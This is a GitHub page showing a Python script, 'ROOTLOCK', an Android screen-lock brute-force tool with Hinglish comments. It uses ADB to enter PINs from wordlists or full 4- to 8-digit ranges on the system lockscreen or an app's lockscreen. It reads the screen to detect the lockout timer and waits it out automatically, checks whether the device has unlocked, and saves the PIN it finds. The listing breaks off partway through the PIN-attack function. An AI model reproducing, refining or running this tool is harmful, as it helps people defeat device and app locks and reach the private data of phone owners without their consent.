-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrootlock.py
More file actions
795 lines (689 loc) · 30.4 KB
/
Copy pathrootlock.py
File metadata and controls
795 lines (689 loc) · 30.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# ============================================================
# ROOTLOCK v1.7 - Android Screen Lock BruteForce Tool
# Author : Suraj Patel
# GitHub : https://github.com/technicalsuraj2
# NEW : MOBILE TIMER AUTO-DETECT (Screen par timer aate hi
# bot ruk jayega, utne sec wait karega, phir resume)
# + Digit-by-digit typing (skip/mix bug 100% fixed)
# ============================================================
import os
import re
import sys
import time
import shutil
import subprocess
import webbrowser
# ---------------- COLORS ----------------
R = "\033[0m"
B = "\033[1m"
SAFF = "\033[1;38;5;208m"
SAFF2= "\033[38;5;208m"
DGRN = "\033[1;38;5;28m"
DYLW = "\033[1;38;5;143m"
GRN = "\033[1;92m"
RED = "\033[1;91m"
WHT = "\033[1;97m"
CYN = "\033[1;96m"
DIM = "\033[2m"
HL = "\033[1;97;42m"
AUTHOR = "Suraj Patel"
GITHUB = "https://github.com/technicalsuraj2"
VERSION = "1.7"
ADB_PATH = "adb"
DEBUG = False # True karo to har adb command ka output dikhega
BANNER = SAFF + r"""
____ ___ ___ _____ _ ___ ____ _ __
| _ \ / _ \ / _ \ |_ _| | | / _ \ / ___| | |/ /
| |_) || | | || | | | | | | | | | | || | | ' /
| _ < | |_| || |_| | | |___ | |_| || |___ | . \
|_| \_\ \___/ \___/ \___| |_____| \___/ \____| |_|\_\
""" + R + SAFF2 + B + " >>> SCREEN BRUTEFORCE <<< " + R
# ---------------- ATTACK SETTINGS (LIGHTNING FAST) ----------------
ATTACK_DELAY = 0.02 # passwords ke beech delay
DIGIT_GAP = 0.04 # digit-digit ke beech gap (skip/mix fix)
CLEAR_SETTLE = 0.08 # clear ke baad ka wait
ENTER_SETTLE = 0.15 # ENTER ke baad ka wait
LOCKOUT_WAIT = 31 # fallback - agar timer detect NAHI hua to
# TIMER DETECT SETTINGS
TIMER_CHECK_EVERY = 2 # har 2 try me screen timer check hoga
# (1 karo = har try par check - zyada reliable
# par thoda slow, 2 = balanced fast+detect)
# System lockscreen keypad position (screen % me)
KP_ROWS = [0.62, 0.70, 0.78, 0.86] # row1, row2, row3, row4 (y %)
KP_COLS = [0.25, 0.50, 0.75] # col1, col2, col3 (x %)
# APP lockscreen keypad position (screen % me) - Option 8 ke liye
APP_KP_ROWS = [0.62, 0.70, 0.78, 0.86]
APP_KP_COLS = [0.25, 0.50, 0.75]
# Digit -> (col_index, row_index)
KP_LAYOUT = {
"1": (0, 0), "2": (1, 0), "3": (2, 0),
"4": (0, 1), "5": (1, 1), "6": (2, 1),
"7": (0, 2), "8": (1, 2), "9": (2, 2),
"0": (1, 3),
}
SCREEN_W = 540
SCREEN_H = 1200
def clear():
os.system("cls" if os.name == "nt" else "clear")
def find_adb():
global ADB_PATH
if shutil.which("adb"):
ADB_PATH = "adb"
return True
paths = [
r"C:\platform-tools\adb.exe",
r"C:\Users\admin\Downloads\platform-tools-latest-windows\platform-tools\adb.exe",
os.path.expanduser(r"~\Downloads\platform-tools-latest-windows\platform-tools\adb.exe"),
os.path.expanduser(r"~\platform-tools\adb.exe"),
os.path.expandvars(r"%LOCALAPPDATA%\Android\Sdk\platform-tools\adb.exe"),
]
for p in paths:
if os.path.isfile(p):
ADB_PATH = f'"{p}"'
return True
return False
def adb(cmd, timeout=15):
try:
out = subprocess.run(f"{ADB_PATH} {cmd}", shell=True,
capture_output=True, text=True, timeout=timeout)
result = (out.stdout or "") + (out.stderr or "")
if DEBUG:
print(f"\n {DIM}[ADB] {cmd} => {result.strip()[:200]}{R}")
return result
except Exception:
return ""
def device_status():
out = adb("devices", timeout=10)
for line in out.splitlines()[1:]:
line = line.strip()
if line.endswith("\tdevice"):
return "connected"
if "unauthorized" in line:
return "unauthorized"
if "offline" in line:
return "offline"
return "none"
def get_screen_size():
global SCREEN_W, SCREEN_H
out = adb("shell wm size", timeout=10)
for line in out.splitlines():
if "size" in line.lower() and "x" in line.lower():
try:
size = line.split(":")[-1].strip()
if "rotation" in size.lower():
continue
w, h = size.split("x")
SCREEN_W, SCREEN_H = int(w), int(h)
print(f" {DGRN}[OK] Screen size: {WHT}{SCREEN_W}x{SCREEN_H}{R}")
return True
except Exception:
pass
print(f" {DYLW}[!] Screen size nahi mili - default 540x1200 use ho raha{R}")
return False
def is_unlocked(out=None):
if out is None:
out = adb('shell "dumpsys window | grep -i mCurrentFocus"', timeout=10)
for line in out.splitlines():
if "mcurrentfocus" in line.lower():
focus = line.lower()
if any(k in focus for k in ("keyguard", "statusbar",
"notificationshade", "lockscreen")):
return False
if "mcurrentfocus=null" in focus:
return False
return True
return False
def wake_screen():
adb("shell input keyevent 224")
time.sleep(0.6)
x = SCREEN_W // 2
y_start = int(SCREEN_H * 0.75)
y_end = int(SCREEN_H * 0.25)
adb(f"shell input swipe {x} {y_start} {x} {y_end} 250")
time.sleep(0.8)
# ================= MOBILE TIMER AUTO-DETECT =================
def detect_lockout_timer():
"""
MOBILE SCREEN KA TIMER DETECT:
Screen ka text padha jata hai (uiautomator dump se).
Agar screen par 'Try again in 30 seconds' / '30 सेकंड' type
timer dikh raha hai to uska NUMBER return hota hai (seconds me).
Timer nahi mila to 0 return hota hai = bot full speed try karta rahega.
"""
xml = adb(
'shell "uiautomator dump /sdcard/window_dump.xml >/dev/null 2>&1; '
'cat /sdcard/window_dump.xml"',
timeout=15
)
if not xml or "<" not in xml:
return 0
# XML entity fix (apostrophe wale text ke liye)
xml = xml.replace("'", "'").replace("'", "'")
# English: "Try again in 30 seconds", "30 seconds", "wait for 30 sec"
secs = re.findall(r'(\d+)\s*(?:seconds?|secs?|सेकंड)', xml, re.I)
# Hindi pattern: "30 सेकंड प्रयास करें" ya "प्रयास ... 30 सेकंड"
if not secs:
secs = re.findall(r'सेकंड\w*\s*(\d+)', xml)
# Kuch phone: "Try again in 29 s"
if not secs:
secs = re.findall(r'(\d+)\s*s\b', xml, re.I)
if secs:
return max(int(x) for x in secs) # sabse bada timer = active lock
return 0
def wait_out_lockout(secs, count, total, start_time):
"""
MOBILE KE TIMER KE BARABAR COUNTDOWN:
Jitna timer mobile screen par hai, UTNA HI wait karta hai.
Countdown screen par live dikhta hai (mobile ke timer jaisa hi).
Timer khatm = turant agla password try.
"""
end_time = time.time() + secs + 1 # +1 buffer taki timer poori tarah khatm ho
while time.time() < end_time:
remaining = max(0, int(end_time - time.time()))
elapsed = time.time() - start_time
speed = count / elapsed if elapsed > 0 else 0
sys.stdout.write(
f"\r {DYLW}[TIMER] Mobile lock - WAITING:{R} {RED}{B}{remaining:>3} sec{R} "
f"{SAFF2}| Try:{R} {WHT}{count}/{total}{R} "
f"{SAFF2}| Speed:{R} {WHT}{speed:.1f}/s{R} ")
sys.stdout.flush()
time.sleep(1)
print(f"\r {DGRN}[OK] Timer khatam! Attack resume ho raha hai...{R} ")
wake_screen()
# ================= SYSTEM LOCKSCREEN (TAP MODE - FAST) =================
def digit_pos(d, rows=None, cols=None):
if rows is None:
rows = KP_ROWS
if cols is None:
cols = KP_COLS
col, row = KP_LAYOUT[d]
x = int(SCREEN_W * cols[col])
y = int(SCREEN_H * rows[row])
return x, y
def tap_digit(d, rows=None, cols=None):
x, y = digit_pos(d, rows, cols)
adb(f"shell input tap {x} {y}", timeout=10)
time.sleep(TAP_DELAY := 0.05)
def try_password(pw):
"""
DIGIT-BY-DIGIT RELIABLE MODE (system lockscreen):
FIX: Pehle pura password ek saath 'input text 1234' jata tha -
kuch phones me wo race karke skip/mix karta tha.
Ab HAR DIGIT alag se type hota hai (chhote gap ke saath) -
digit aage-piche / mix / skip - KUCH NAHI hoga.
Pura password HAMESHA pura try hoga: 1st digit se last digit tak.
"""
if pw and all(c.isdigit() for c in pw):
parts = ["input keyevent 67"] * 15 # field clear (15 backspace)
parts.append(f"sleep {CLEAR_SETTLE}")
for d in pw: # HAR DIGIT ALAG SE
parts.append(f"input text {d}")
parts.append(f"sleep {DIGIT_GAP}")
parts.append("input keyevent 66") # ENTER
parts.append(f"sleep {ENTER_SETTLE}")
parts.append("dumpsys window | grep -i mCurrentFocus")
out = adb('shell "' + "; ".join(parts) + '"', timeout=10)
return out
else:
# non-digit chars wale password ke liye fallback
for ch in pw:
adb(f'shell input text "{ch}"', timeout=5)
time.sleep(0.05)
adb("shell input keyevent 66", timeout=5)
time.sleep(ENTER_SETTLE)
return ""
def try_password_tap(pw, rows=None, cols=None):
"""
TAP MODE (app lockscreen ke liye) - DIGIT-BY-DIGIT:
Har digit tap alag command + DIGIT_GAP sleep - koi skip/mix nahi.
ENTER ke baad settle delay - agli line kabhi mix nahi hogi.
"""
if not pw or not all(c.isdigit() for c in pw):
for ch in pw:
adb(f'shell input text "{ch}"', timeout=5)
time.sleep(0.05)
adb("shell input keyevent 66", timeout=5)
time.sleep(ENTER_SETTLE)
return ""
parts = ["input keyevent 67"] * 15
parts.append(f"sleep {CLEAR_SETTLE}")
for ch in pw:
x, y = digit_pos(ch, rows, cols)
parts.append(f"input tap {x} {y}")
parts.append(f"sleep {DIGIT_GAP}")
parts.append("input keyevent 66")
parts.append(f"sleep {ENTER_SETTLE}")
adb('shell "' + "; ".join(parts) + '"', timeout=10)
return ""
def clear_field():
adb("shell input keyevent " + " ".join(["67"] * 30), timeout=10)
x = int(SCREEN_W * KP_COLS[2])
y = int(SCREEN_H * KP_ROWS[3])
for _ in range(6):
adb(f"shell input tap {x} {y}", timeout=10)
time.sleep(0.15)
time.sleep(0.2)
def screen_test():
print(f"\n {SAFF}{B}========== SCREEN TEST =========={R}\n")
print(f" {WHT}1.{R} Phone ki screen {SAFF}ON{R} karo")
print(f" {WHT}2.{R} Lock screen par {SAFF}swipe up karke PIN pad kholo{R} (haath se!)")
print(f" {WHT}3.{R} Phone usi screen par {SAFF}rkho{R}\n")
input(f" {SAFF}[*] PIN pad khulne ke baad ENTER dabao...{R}")
print(f"\n {SAFF2}[*] Ab 1, 2, 3 TAP ho raha hai... PHONE DEKHO!{R}\n")
for d in "123":
x, y = digit_pos(d)
print(f" {DIM}[*] Tap {d} at ({x},{y}){R}")
adb(f"shell input tap {x} {y}", timeout=10)
time.sleep(0.6)
print(f" {DGRN}[?] Kya phone ke PIN pad par 1, 2, 3 DABE?{R}")
print(f" {WHT}[1]{R} Haan! 1,2,3 dabe - perfect")
print(f" {WHT}[2]{R} Tap laga lekin GALAT jagah laga")
print(f" {WHT}[3]{R} Kuch nahi hua\n")
choice = input(f" {SAFF}{B}Select (1/2/3):{R} ").strip()
if choice == "1":
print(f"\n {GRN}[OK] Sab perfect! Ab Option 1 se attack chalao.{R}\n")
elif choice == "2":
print(f"\n {DYLW}[!] Keypad position adjust karo:{R}")
print(f" {WHT} KP_ROWS = [0.62, 0.70, 0.78, 0.86]{R}")
print(f" {DYLW} Tap niche gaya to value KAM karo, upar gaya to BADHAO{R}")
print(f" {DYLW} Left/right ke liye KP_COLS adjust karo{R}")
print(f" {DYLW} APP mode ke liye APP_KP_ROWS / APP_KP_COLS adjust karo{R}\n")
else:
print(f"\n {RED}[X] Kuch nahi hua - CMD me directly ye chalao:{R}")
print(f" {CYN} adb shell input tap {SCREEN_W//2} {int(SCREEN_H*0.7)}{R}")
print(f" {DYLW} Isse bhi kuch na ho = USB Debugging issue hai{R}\n")
input(f" {DIM}[*] Menu ke liye ENTER dabao...{R}")
def app_screen_test():
"""App keypad test - Option 8 use karne se PEHLE ye chalao."""
print(f"\n {SAFF}{B}========== APP SCREEN TEST =========={R}\n")
print(f" {WHT}1.{R} Jis app ka lock hai, usko {SAFF}kholo{R}")
print(f" {WHT}2.{R} App ka {SAFF}PIN pad wala page{R} screen par rakh do")
print(f" {WHT}3.{R} Phone ko mat chhedo\n")
input(f" {SAFF}[*] App ka PIN pad dikhne ke baad ENTER dabao...{R}")
print(f"\n {SAFF2}[*] Ab 1, 2, 3 TAP ho raha hai... PHONE DEKHO!{R}\n")
for d in "123":
x, y = digit_pos(d, APP_KP_ROWS, APP_KP_COLS)
print(f" {DIM}[*] Tap {d} at ({x},{y}){R}")
adb(f"shell input tap {x} {y}", timeout=10)
time.sleep(0.6)
print(f" {DGRN}[?] Kya APP ke PIN pad par 1, 2, 3 DABE?{R}")
print(f" {WHT}[1]{R} Haan! Perfect")
print(f" {WHT}[2]{R} Tap laga lekin GALAT jagah laga")
print(f" {WHT}[3]{R} Kuch nahi hua\n")
choice = input(f" {SAFF}{B}Select (1/2/3):{R} ").strip()
if choice == "1":
print(f"\n {GRN}[OK] Sab perfect! Ab Option 8 se attack chalao.{R}\n")
elif choice == "2":
print(f"\n {DYLW}[!] APP keypad position adjust karo:{R}")
print(f" {WHT} APP_KP_ROWS = [0.62, 0.70, 0.78, 0.86]{R}")
print(f" {WHT} APP_KP_COLS = [0.25, 0.50, 0.75]{R}")
print(f" {DYLW} Tap niche gaya to value KAM karo, upar gaya to BADHAO{R}\n")
else:
print(f"\n {RED}[X] Kuch nahi hua - app foreground me honi chahiye!{R}")
print(f" {DYLW} App ka PIN pad screen par kholi rakho aur test dobara chalao{R}\n")
input(f" {DIM}[*] Menu ke liye ENTER dabao...{R}")
def show_connect_status():
status = device_status()
if status == "connected":
print(f"\n [{GRN}*{R}] Mobile Connect : {DGRN}{B}Mobile Connect OK{R}")
return True
elif status == "unauthorized":
print(f"\n [{RED}!{R}] Mobile : {DYLW}{B}Not Connected (Unauthorized){R}")
print(f" {DYLW}Phone par 'Allow USB Debugging' popup allow karo!{R}")
return False
elif status == "offline":
print(f"\n [{RED}!{R}] Mobile : {DYLW}{B}Not Connected (Offline){R}")
return False
else:
print(f"\n [{RED}!{R}] Mobile : {DYLW}{B}Not Connected{R}")
return False
def header():
clear()
print(BANNER)
print(f" {SAFF2}+--------------------------------------------+{R}")
print(f" {WHT} Author : {SAFF}{B}{AUTHOR}{R}")
print(f" {WHT} GitHub : {SAFF}{B}{GITHUB}{R}")
print(f" {WHT} Version : {DGRN}{B}v{VERSION}{R}")
print(f" {WHT} Tool : {CYN}Android Screen Bruteforce (TIMER-AUTO-DETECT){R}")
print(f" {SAFF2}+--------------------------------------------+{R}\n")
def show_instructions():
print(f" {SAFF}{B}[!] Important - Pehle Mobile Setup Karo:{R}\n")
print(f" {WHT}1.{R} Mobile ko {SAFF}USB cable{R} se connect karo")
print(f" {WHT}2.{R} {WHT}USB Debugging{R} {DGRN}ON{R} karo (Developer Options me)")
print(f" {WHT}3.{R} Phone par {WHT}'Allow USB Debugging'{R} popup aaye to {DGRN}Allow{R} dabao")
print(f" {WHT}4.{R} Pehli baar {SAFF}Option 6 (SCREEN TEST){R} zaroor chalao")
print(f" {WHT}5.{R} App lock ke liye {SAFF}Option 7 (APP TEST){R} chalao")
print(f" {WHT}6.{R} {CYN}NEW: Mobile par timer aate hi bot AUTO-DETECT karke{R}")
print(f" {WHT} {CYN}utne sec wait karega, phir khud resume hoga{R}\n")
print(f" {DIM}--------------------------------------------------{R}\n")
def menu():
print(f" {SAFF}{B}+=============== MENU ===============+{R}")
print(f" {WHT} [{SAFF}1{R}] {WHT}WORDLIST ATTACK{R} {DIM}(Apni File Se){R}")
print(f" {SAFF}{B} + - - - - - - - - - - - - - - - - - +{R}")
print(f" {WHT} [{SAFF}2{R}] {WHT}4 Digit PIN Attack{R} {DIM}(0000 - 9999){R}")
print(f" {WHT} [{SAFF}3{R}] {WHT}5 Digit PIN Attack{R} {DIM}(00000 - 99999){R}")
print(f" {WHT} [{SAFF}4{R}] {WHT}6 Digit PIN Attack{R} {DIM}(000000 - 999999){R}")
print(f" {WHT} [{SAFF}5{R}] {WHT}8 Digit PIN Attack{R} {DIM}(00000000 - 99999999){R}")
print(f" {SAFF}{B} + - - - - - - - - - - - - - - - - - +{R}")
print(f" {WHT} [{SAFF}6{R}] {WHT}SCREEN TEST{R} {DIM}(Pehle Ye Chalao!){R}")
print(f" {WHT} [{SAFF}7{R}] {WHT}APP SCREEN TEST{R} {DIM}(App Lock Ke Liye){R}")
print(f" {WHT} [{SAFF}8{R}] {WHT}APP PASS BRUTEFORCE{R} {DIM}(In-App Lock - File Se){R}")
print(f" {WHT} [{SAFF}9{R}] {WHT}Author GitHub Account{R} {DIM}(Redirect){R}")
print(f" {WHT} [{SAFF}0{R}] {WHT}Exit{R}")
print(f" {SAFF}{B}+====================================+{R}\n")
print(f" {GRN}>> File se attack = Option {SAFF}{B}1{R} {DIM}(System Lockscreen){R}")
print(f" {GRN}>> App lock attack = Option {SAFF}{B}8{R} {DIM}(App ka apna lockscreen){R}")
print(f" {GRN}>> Timer AUTO-DETECT: mobile par timer aate hi wait + auto resume{R}\n")
try:
return input(f" {SAFF}{B}RootBySuraj@RootLock:~${R} ").strip()
except (EOFError, KeyboardInterrupt):
return "0"
def save_result(save_path, password, total, elapsed, mode=""):
try:
with open(save_path, "w") as f:
f.write("=" * 45 + "\n")
f.write(" ROOTLOCK - Android Screen Lock BruteForce\n")
f.write(f" Author : {AUTHOR}\n")
f.write(f" GitHub : {GITHUB}\n")
f.write("=" * 45 + "\n")
if mode:
f.write(f" MODE : {mode}\n")
f.write(" STATUS : UNLOCKED\n")
f.write(f" PASSWORD : {password}\n")
f.write(f" TOTAL TRY : {total}\n")
f.write(f" TIME TAKEN : {elapsed:.2f} sec\n")
f.write("=" * 45 + "\n")
return True
except Exception as e:
print(f" {RED}[!] File save nahi hui: {e}{R}")
return False
def check_device_or_pause(count):
"""Har 50 tries me device status check - disconnect hone par pause."""
if count % 50 == 0 and count != 0:
if device_status() != "connected":
print(f"\n {RED}[!] Device disconnect ho gaya! Attack paused.{R}")
input(f" {SAFF}[*] Device reconnect karo aur ENTER dabao...{R}")
wake_screen()
def show_progress(pw, count, total, start_time):
"""LIVE display - jo pass ABHI type ho raha hai wo turant dikhega."""
elapsed = time.time() - start_time
speed = count / elapsed if elapsed > 0 else 0
sys.stdout.write(
f"\r {SAFF2}[>] Trying:{R} {WHT}{pw:<20}{R} "
f"{SAFF2}| Try:{R} {WHT}{count}/{total}{R} "
f"{SAFF2}| Speed:{R} {WHT}{speed:.1f}/s{R} ")
sys.stdout.flush()
def show_success(pw, count, elapsed, save_path, mode=""):
print(f"\n\n {GRN}{B}[OK] UNLOCK !{R}")
print(f" +--------------------------------------+")
print(f" {WHT} Password :{R} {HL}{B} {pw} {R}")
print(f" +--------------------------------------+")
print(f" {SAFF2}[*] Total Try : {WHT}{count}{R}")
print(f" {SAFF2}[*] Time Taken : {WHT}{elapsed:.2f} sec{R}")
save_result(save_path, pw, count, elapsed, mode)
print(f" {DGRN}[OK] Password save ho gaya: {WHT}{save_path}{R}\n")
def check_timer_and_wait(count, total, start_time):
"""
MOBILE TIMER AUTO-DETECT:
Screen par timer dikh raha hai? -> bot RUK jayega,
MOBILE JITNE SEC KA TIMER hai UTNA wait karega (same countdown),
timer khatm hote hi AGLE PASSWORD se attack resume.
"""
secs = detect_lockout_timer()
if secs > 0:
wait_out_lockout(secs, count, total, start_time)
return True
return False
def start_attack(pw_list, save_path):
"""
SYSTEM LOCKSCREEN attack (Option 1-5) - DIGIT-BY-DIGIT + TIMER AUTO-DETECT.
- Har password PURA try hoga (saare digits) - koi skip/mix nahi.
- Mobile par timer aate hi bot rukega, utne sec wait karega, phir resume.
"""
total_combos = len(pw_list)
print(f"\n {SAFF}{B}[*] Attack Started (WORDLIST MODE - TIMER AUTO-DETECT){R}")
print(f" {DIM}[*] File ke {total_combos} passwords - 1st line se last tak, order me")
print(f" {DIM}[*] Har password PURA try hoga (digit-by-digit) - koi skip/mix nahi")
print(f" {DIM}[*] Mobile timer AUTO-DETECT: timer aate hi wait + auto resume")
print(f" {DIM}[*] Stop karne ke liye: CTRL + C{R}\n")
print(f" {SAFF2}[*] Screen wake kar rahe hain...{R}")
wake_screen()
start_time = time.time()
count = 0
try:
for pw in pw_list:
check_device_or_pause(count)
# LIVE display PEHLE - jo pass abhi type hoga wo dikhega
show_progress(pw, count + 1, total_combos, start_time)
# DIGIT-BY-DIGIT: clear -> har digit alag -> ENTER -> check
focus_out = try_password(pw)
count += 1
time.sleep(ATTACK_DELAY)
if is_unlocked(focus_out):
elapsed = time.time() - start_time
show_success(pw, count, elapsed, save_path, "SYSTEM LOCKSCREEN")
return
# ---- MOBILE TIMER AUTO-DETECT ----
if count % TIMER_CHECK_EVERY == 0:
if check_timer_and_wait(count, total_combos, start_time):
continue # timer khatam - agla password try hoga
# FALLBACK: timer detect nahi hua par 5 try ho gaye
# (Android 5 galat try ke baad lock karta hai) - 30 sec wait
if count % 5 == 0:
print(f"\n {DYLW}[!] Timer detect nahi hua - {LOCKOUT_WAIT} sec fallback wait...{R}")
wait_out_lockout(LOCKOUT_WAIT, count, total_combos, start_time)
except KeyboardInterrupt:
print(f"\n\n {DYLW}[!] Attack stop kiya gaya (CTRL + C){R}")
print(f" {SAFF2}[*] Total Try : {WHT}{count}{R}\n")
return
print(f"\n\n {RED}[X] Password not found!{R}\n")
def start_app_attack(pw_list, save_path):
"""
APP LOCKSCREEN attack (Option 8) - DIGIT-BY-DIGIT TAP MODE.
- Har password ke saare digits TAP honge - koi skip/mix nahi.
- App ka bhi timer ho to AUTO-DETECT hoga (screen par 'seconds'
likha dikhega to bot wait karega).
"""
total_combos = len(pw_list)
print(f"\n {SAFF}{B}[*] Attack Started (APP PASS BRUTEFORCE - TIMER AUTO-DETECT){R}")
print(f" {DIM}[*] File ke {total_combos} passwords - 1st line se last tak, order me")
print(f" {DIM}[*] Har password PURA try hoga (digit-by-digit) - koi skip/mix nahi")
print(f" {DIM}[*] Mobile timer AUTO-DETECT: timer aate hi wait + auto resume")
print(f" {DIM}[*] Stop karne ke liye: CTRL + C{R}\n")
start_time = time.time()
count = 0
try:
for pw in pw_list:
check_device_or_pause(count)
# LIVE display PEHLE - jo pass abhi type hoga wo dikhega
show_progress(pw, count + 1, total_combos, start_time)
# DIGIT-BY-DIGIT taps (reliable gaps ke saath)
try_password_tap(pw, APP_KP_ROWS, APP_KP_COLS)
count += 1
time.sleep(ATTACK_DELAY)
# App unlock check - focus badal gaya matlab app khul gaya
out = adb('shell "dumpsys window | grep -i mCurrentFocus"', timeout=5)
if app_unlock_check(out):
elapsed = time.time() - start_time
show_success(pw, count, elapsed, save_path, "APP LOCKSCREEN")
return
# ---- MOBILE TIMER AUTO-DETECT (app ka timer bhi pakdega) ----
if count % TIMER_CHECK_EVERY == 0:
if check_timer_and_wait(count, total_combos, start_time):
continue
except KeyboardInterrupt:
print(f"\n\n {DYLW}[!] Attack stop kiya gaya (CTRL + C){R}")
print(f" {SAFF2}[*] Total Try : {WHT}{count}{R}\n")
return
print(f"\n\n {RED}[X] Password not found!{R}\n")
def app_unlock_check(out):
focus_line = ""
for line in out.splitlines():
if "mcurrentfocus" in line.lower():
focus_line = line.lower()
break
if not focus_line:
return False
locked_hints = ("lock", "pin", "password", "auth", "passcode", "fingerprint")
return not any(k in focus_line for k in locked_hints)
def safe_input(msg):
try:
return input(msg)
except (EOFError, KeyboardInterrupt):
return ""
def ask_save_path():
print()
save_path = safe_input(f" {SAFF}{B}[?] Save File Naam ya Path (e.g. pass.txt):{R} ").strip()
if not save_path:
save_path = "found_password.txt"
print(f"\n {SAFF}{B}[*] Press {WHT}ENTER{R} to {SAFF}{B}START ATTACK{R} ...", end="")
safe_input("")
return save_path
def load_wordlist():
"""Pass file load karo - EXACT order me LIST banakar."""
print()
wlist_path = safe_input(f" {SAFF}{B}[?] Wordlist File Path (apni pass file .txt):{R} ").strip()
if not wlist_path or not os.path.isfile(wlist_path):
print(f" {RED}[X] Wordlist file nahi mili!{R}\n")
safe_input(f" {DIM}[*] ENTER dabao...{R}")
return None
try:
with open(wlist_path, "r", errors="ignore") as f:
words = [w.strip() for w in f if w.strip()]
except Exception as e:
print(f" {RED}[X] File read error: {e}{R}")
safe_input(f" {DIM}[*] ENTER dabao...{R}")
return None
if not words:
print(f" {RED}[X] File khali hai! Koi password nahi mila.{R}")
safe_input(f" {DIM}[*] ENTER dabao...{R}")
return None
print(f"\n {DGRN}[OK] File: {WHT}{wlist_path}{R}")
print(f" {DGRN}[OK] Total Passwords: {WHT}{len(words)}{R} {DGRN}- SIRF YE HI try honge:{R}\n")
for i, w in enumerate(words, 1):
print(f" {SAFF2}[{i}]{R} {WHT}{w}{R}")
print(f"\n {DYLW}[!] Confirm: Upar wale {len(words)} passwords hi try honge,")
print(f" {DYLW} 1st line se last line tak, ISI order me.{R}")
confirm = safe_input(f" {SAFF}{B}[?] Attack start kare? (y/n):{R} ").strip().lower()
if confirm != "y":
print(f"\n {DYLW}[!] Attack cancel ho gaya.{R}\n")
safe_input(f" {DIM}[*] ENTER dabao...{R}")
return None
return words
def wordlist_attack():
"""Option 1 - System lockscreen, file ke passwords HI, EXACT order me."""
header()
show_instructions()
if not show_connect_status():
safe_input(f"\n {SAFF}[*] Mobile connect karke ENTER dabao (ya CTRL+C exit):{R} ")
if not show_connect_status():
return
words = load_wordlist()
if not words:
return
save_path = ask_save_path()
start_attack(words, save_path)
def app_pass_attack():
"""Option 8 - App ke in-app lockscreen ka bruteforce (file se, FAST)."""
header()
show_instructions()
if not show_connect_status():
safe_input(f"\n {SAFF}[*] Mobile connect karke ENTER dabao (ya CTRL+C exit):{R} ")
if not show_connect_status():
return
print(f"\n {SAFF}{B}========== APP PASS BRUTEFORCE =========={R}\n")
print(f" {WHT}1.{R} Jis app ka lock hai use {SAFF}kholo{R}")
print(f" {WHT}2.{R} App ka {SAFF}PIN pad page{R} screen par kholi rakho")
print(f" {WHT}3.{R} Pehli baar chala rahe ho to pehle {SAFF}Option 7 (APP SCREEN TEST){R} chalao\n")
print(f" {DYLW}[!] App keypad position galat ho to code me APP_KP_ROWS /")
print(f" {DYLW} APP_KP_COLS adjust karo (Option 7 test me pata chal jayega)\n")
ready = safe_input(f" {SAFF}{B}[?] App ka PIN pad screen par khula hai? (y/n):{R} ").strip().lower()
if ready != "y":
print(f"\n {DYLW}[!] App ka PIN pad khol ke dobara option 8 chalao.{R}\n")
safe_input(f" {DIM}[*] ENTER dabao...{R}")
return
words = load_wordlist()
if not words:
return
save_path = ask_save_path()
start_app_attack(words, save_path)
def pin_attack(n):
header()
show_instructions()
if not show_connect_status():
safe_input(f"\n {SAFF}[*] Mobile connect karke ENTER dabao (ya CTRL+C exit):{R} ")
if not show_connect_status():
return
total = 10 ** n
if n >= 5:
print(f"\n {DYLW}[!] Warning: {total:,} combinations - bahut time lagega!{R}")
